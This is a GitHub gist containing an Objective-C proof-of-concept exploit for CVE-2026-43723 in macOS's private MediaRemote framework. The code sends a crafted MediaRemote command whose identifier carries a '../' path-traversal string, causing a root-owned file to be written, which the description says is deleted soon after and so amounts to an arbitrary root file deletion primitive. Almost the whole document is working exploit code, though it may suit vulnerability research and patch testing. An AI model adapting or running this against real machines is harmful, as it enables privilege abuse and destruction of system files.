-
-
Save emdnaia/bafb88f5c91e5583fecae9bcf99b3f76 to your computer and use it in GitHub Desktop.
CVE-2026-43723. Technically an arbitrary root file write primitive, however, the cleanup path in MediaRemote deletes the file ca. 50ms after the write, so it effectively becomes an arbitrary root file deletion primitive.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| // | |
| // dotdot.m | |
| // dotdot | |
| // | |
| // Created by roooot on 03.08.26. | |
| // Copyright (C) 2026 roooot | |
| // | |
| // This program is free software: you can redistribute it and/or modify | |
| // it under the terms of the GNU Affero General Public License as published | |
| // by the Free Software Foundation, either version 3 of the License, or | |
| // (at your option) any later version. | |
| // | |
| // You can find the full license text at: | |
| // https://www.gnu.org/licenses/agpl-3.0.html | |
| // | |
| #import <Foundation/Foundation.h> | |
| #import <dlfcn.h> | |
| #import <sys/stat.h> | |
| #import <fcntl.h> | |
| #import <unistd.h> | |
| static NSData *tagged_field(int field, NSData *payload) { | |
| uint8_t tag = (field << 3) | 2; | |
| NSMutableData *d = [NSMutableData dataWithBytes:&tag length:1]; | |
| uint64_t len = payload.length; | |
| while (len >= 0x80) { uint8_t b = (len & 0x7f) | 0x80; [d appendBytes:&b length:1]; len >>= 7; } | |
| uint8_t b = len; [d appendBytes:&b length:1]; [d appendData:payload]; | |
| return d; | |
| } | |
| // writes successfully but cleanup deletes file after... | |
| int dd_write(const char *identifier, const char *targetPath) { | |
| dlopen("/System/Library/PrivateFrameworks/MediaRemote.framework/MediaRemote", RTLD_NOW); | |
| typedef void (^res)(NSDictionary *); | |
| typedef void (*send_fn)(NSInteger, NSDictionary *, dispatch_queue_t, res); | |
| send_fn fn = (send_fn)dlsym(RTLD_DEFAULT, "MRMediaRemoteSendCommand"); | |
| if (!fn) return 1; | |
| NSData *marker = [NSData dataWithBytes:"roooot_was_here\n" length:48]; | |
| NSMutableData *proto = [NSMutableData dataWithData:tagged_field(1, marker)]; | |
| [proto appendData:tagged_field(2, [[NSString stringWithUTF8String:identifier] dataUsingEncoding:NSUTF8StringEncoding])]; | |
| fn(136, @{ @"kMRMediaRemoteOptionPlaybackSessionData": proto }, dispatch_get_main_queue(), ^(NSDictionary *r){}); | |
| for (int i = 0; i < 3000000; i++) { | |
| struct stat st; | |
| if (stat(targetPath, &st) == 0 && st.st_uid == 0) { | |
| int fd = open(targetPath, O_RDONLY); | |
| if (fd >= 0) { | |
| char buf[256] = {0}; | |
| ssize_t n = read(fd, buf, sizeof(buf) - 1); | |
| close(fd); | |
| if (n > 0) { | |
| printf("(dd) written: uid=%d gid=%d mode=%o size=%lld\n", st.st_uid, st.st_gid, st.st_mode & 07777, (long long)st.st_size); | |
| printf("(dd) marker: %s", buf); | |
| return 0; | |
| } | |
| } | |
| } | |
| } | |
| return 1; | |
| } | |
| int main(void) { | |
| @autoreleasepool { | |
| char name[64]; | |
| char targetPath[128]; | |
| char identifier[192]; | |
| snprintf(name, sizeof(name), "poc_%ld", (long)time(NULL)); | |
| snprintf(targetPath, sizeof(targetPath), "/private/tmp/%s", name); | |
| snprintf(identifier, sizeof(identifier), "../../../../../../../private/tmp/%s", name); | |
| printf("(dd) writing to %s\n", targetPath); | |
| return dd_write(identifier, targetPath); | |
| } | |
| } |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment